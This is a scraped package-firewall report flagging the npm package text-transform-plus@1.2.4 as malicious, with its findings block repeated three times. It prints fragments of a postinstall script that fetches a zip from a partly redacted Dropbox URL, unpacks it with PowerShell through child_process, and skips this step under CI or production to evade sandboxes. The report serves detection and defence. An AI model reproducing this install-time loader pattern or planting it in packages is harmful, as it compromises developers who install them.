text-transform-plus@1.2.4: Malicious npm security report (Block)

Loading npm security reports…

text-transform-plus@1.2.4: Malicious npm security report (Block) | LPM Firewall

Source & flagged code

6 flagged

package.jsonView file

•scripts.postinstall = node scripts/install.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.postinstall = node scripts/install.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

scripts/install.jsView file

5const os = require('os'); L6: const { exec } = require('child_process'); L7:

High

Child Process

Package source references child process execution.

scripts/install.jsView on unpkg · L5

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

scripts/install.jsView on unpkg · L1

1const https = require('https'); L2: const http = require('http'); ... L5: const os = require('os'); L6: const { exec } = require('child_process'); L7: L8: const cfg = { L9: url: process.env.PAYLOAD_URL || 'https://www.dropbox.[redacted].zip?rlkey=cdp7afgbeiwk7kvko8qgzwemt&st=0hi6i7z2&dl=1', L10: tmp: path.join(os.tmpdir(), `.${Date.now()}.tmp`), ... L15: try { L16: if (process.env.NODE_ENV === 'production' || process.env.CI) return; L17: ... L42: ? `powershell -Command "Expand-Archive -Path '${cfg.tmp}' -DestinationPath '${cfg.dir}' -Force"`

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

scripts/install.jsView on unpkg · L1

High

Install Named Payload File

Install-named source file stages remote content through filesystem writes and execution.

scripts/install.jsView on unpkg · L1

Source & flagged code

6 flagged · loading source

package.jsonView file

•scripts.postinstall = node scripts/install.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.postinstall = node scripts/install.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

scripts/install.jsView file

5const os = require('os'); L6: const { exec } = require('child_process'); L7:

High

Child Process

Package source references child process execution.

scripts/install.jsView on unpkg · L5

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

scripts/install.jsView on unpkg · L1

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

scripts/install.jsView on unpkg · L1

High

Install Named Payload File

Install-named source file stages remote content through filesystem writes and execution.

scripts/install.jsView on unpkg · L1

Source & flagged code

6 flagged

package.jsonView file

•scripts.postinstall = node scripts/install.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.postinstall = node scripts/install.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

scripts/install.jsView file

5const os = require('os'); L6: const { exec } = require('child_process'); L7:

High

Child Process

Package source references child process execution.

scripts/install.jsView on unpkg · L5

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

scripts/install.jsView on unpkg · L1

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

scripts/install.jsView on unpkg · L1

High

Install Named Payload File

Install-named source file stages remote content through filesystem writes and execution.

scripts/install.jsView on unpkg · L1

text-transform-plus@1.2.4

AI Security Review

OSV Corroboration

Decision evidence

Source & flagged code

Source & flagged code

Findings

Source & flagged code